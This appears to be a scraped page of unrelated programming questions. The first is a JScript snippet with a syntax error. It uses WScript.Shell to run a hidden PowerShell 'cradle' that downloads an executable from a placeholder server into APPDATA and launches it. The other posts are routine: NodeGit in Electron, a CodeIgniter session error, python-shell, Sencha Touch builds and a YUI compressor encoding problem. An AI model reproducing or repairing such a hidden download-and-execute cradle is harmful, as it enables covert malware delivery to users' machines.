download and execute with javascript - javascript

I was trying to use the following javascript to run a powershell cradle
var sh = new ActiveXObject("wscript.shell");
sh.run("PowerShell -command (New-Object System.Net.WebClient).DownloadFile('https://server/file.exe',"$env:APPDATA\file.exe");Start-Process ("$env:APPDATA\file.exe"))",0);
but I get the error message box and don't understand what can be the error
Script: file path
Line: 3
Char: 103
Error: Expected ')'
Code: 800A03EE
Source: Microsoft JScript compilation error
Thank you

Related

Using nodegit in Electron app throws "Symbol not found:" errors

I build a project in electron and, when I done I want to add git support to app.
I try add this, by adding NodeGit to my project.
Simple
npm install nodegit
And create file git.js with only
var NodeGit = require("nodegit");
I run script by
<script id="git" src="assets/scripts/git.js"></script>
unfortunately when I try run my program, I have errors:
dyld: lazy symbol binding failed: Symbol not found: _OPENSSL_init_crypto
Referenced from: /[PATH TO PROJECT]/node_modules/nodegit/build/Release/nodegit.node
Expected in: flat namespace
dyld: Symbol not found: _OPENSSL_init_crypto
Referenced from: /[PATH TO PROJECT]/node_modules/nodegit/build/Release/nodegit.node
Expected in: flat namespace
[11635:0118/162433.596391:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596514:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596556:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596638:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596677:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596702:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596730:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596753:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596894:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.596933:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
[11635:0118/162433.596964:ERROR:gles2_cmd_decoder.cc(18047)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_OPERATION : glCreateAndConsumeTextureCHROMIUM: invalid mailbox name
[11635:0118/162433.597001:ERROR:gles2_cmd_decoder.cc(12520)] [.BrowserCompositor-0x7f996303c600]GL ERROR :GL_INVALID_VALUE : glScheduleCALayerCHROMIUM: unsupported texture format
I try to delete node_modules folder and install npm again.
I try npm rebuild to.
When I put "node -v" I have
V10.15.0
Is any way to fix this issue, or different way to add git support to electron app?
Thanks for answer! :)

An uncaught Exception was encountered in xampp

I get this error when i try and open my application
nothing seems to work can someone help me? i'm not a professional developper
An uncaught Exception was encountered Type: UnexpectedValueException
Message: Session: Configured driver 'files' was not found. Aborting.
Filename:
C:\xampp\htdocs\reseauxfinal\system\libraries\Session\Session.php
Line Number: 233
Backtrace:
File:
C:\xampp\htdocs\reseauxfinal\application\controllers\Authentification.php
Line: 7 Function: __construct
File: C:\xampp\htdocs\reseauxfinal\index.php Line: 320 Function:
require_once

TypeError when running Pythonshell on my Mac

I run a python script in node.js using python shell.
On my Windows system everything runs fine.
But running the same thing on my Macbook get's me this error:
Error: TypeError: can't multiply sequence by non-int of type 'float'
at PythonShell.parseError (/Users/johannes/Dropbox/Javascript Projects/DNA Assembler/Algorithmus_Visualisierung/node_modules/python-shell/index.js:183:17)
at terminateIfNeeded (/Users/johannes/Dropbox/Javascript Projects/DNA Assembler/Algorithmus_Visualisierung/node_modules/python-shell/index.js:98:28)
at ChildProcess.<anonymous> (/Users/johannes/Dropbox/Javascript Projects/DNA Assembler/Algorithmus_Visualisierung/node_modules/python-shell/index.js:88:9)
at emitTwo (events.js:87:13)
at ChildProcess.emit (events.js:172:7)
at Process.ChildProcess._handle.onexit (internal/child_process.js:200:12)
----- Python Traceback -----
File "Assembler.py", line 224, in <module>
reads, n, nUnique, nComplements = readReads(path, verbose = True)
File "Assembler.py", line 20, in readReads
reads = random.sample(reads, round(len(reads) * subset))
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/random.py", line 326, in sample
result = [None] * k
Does someone have an idea what might be going wrong here?
I'm looking for a solution, that does not involve changing a lot in my .py because everything runs fine in Windows.
Solved by changing a float value to int.
(though it would be interesting to know, why this only occurred on Mac.)

Sencha touch production build errors

Using touch 2.1.0 and Cmd 3.1.2.342
Whilst trying to create a production version of my sencha app, I get the following error:
[WRN] C1003: Unsupported Ext.define syntax -- C:\wamp\www\touch-2.1.0\axis\nativ
e\appname\touch\src\fx\TimingFunctions.js:109
[ERR] C2008: Requirement had no matching files (Ext.fx.TimingFunctions) -- C:\wa
mp\www\touch-2.1.0\axis\native\appname\touch\src\fx\Abstract.js:959
[ERR] The following error occurred while executing this line:
C:\wamp\www\touch-2.1.0\axis\native\appname.sencha\app\build-impl.xml:165:
It seems to me that it is saying a file called fx/TimingFunctions.js is required by fx/Abstract.js but cannot be found. However, this can't be what it means as the file exists in that folder.
The command I am using is:
sencha app build production
Line 109 of TimingFunctions.js looks like this:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
singleton: true,...
One solution is to change line 109 of TimingFunctions.js from:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
to:
Ext.define('Ext.fx.TimingFunctions', {
and change line 136 of the same file from:
}, EasingPrototype));
to:
}, EasingPrototype);
This then allows the build to go ahead.
However, when I then view the production app in the web browser, it freezes and I get the following error
Uncaught TypeError: Object # has no method 'call' process sencha-touch-all-debug.js:6767
(anonymous function) process sencha-touch-all-debug.js:6774
(anonymous function) sencha-touch-all-debug.js:6779
Ext.apply.onBeforeCreated sencha-touch-all-debug.js:5196
process sencha-touch-all-debug.js:5262
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
Ext.apply.process sencha-touch-all-debug.js:5272
Ext.Class.ExtClass sencha-touch-all-debug.js:5183
Ext.ClassManager.create sencha-touch-all-debug.js:6725
Ext.apply.define sencha-touch-all-debug.js:7407
(anonymous function) TimingFunctions.js?_dc=1379403994382:109
(anonymous function) TimingFunctions.js?_dc=1379403994382:138
There was a spelling mistake in the files fx/Abstract.js and fx/TimingFunctions.js
Actually, it's not a spelling mistake - more like a grammatical error.
Abstract.js calls a function in TimingFunctions.js. in Abstract.js it is referred to as EasingMap, where as in TimingFunctions.js it is called easingMap

yuicompressor error, not sure what is wrong?

Very confused here, trying out the yuicompressor on a simple javascript file.
My js file looks like:
function splitText(text)
{
return text.split('-')[1];
}
The error is:
[INFO] Using charset Cp1252
[Error] 1:20:illegal character
[Error] 1:20:syntax error
[Error] 1:40:illegal character
[Error] 1:49:missing ; before statement
[Error] 1:50:illegal character
..
..
[Error] 7:3:missing | in compound statement
[error] 1:0:compilation produced 38 syntax errors
...
Can someone please explain to me what is wrong?
Your encoding of the actual file YUICompressor is acting on is the issue. Open the file in notepad++ and change to ANSI & it should work.
[http://extjs.com/forum/showthread.php?t=27732][1]

Categories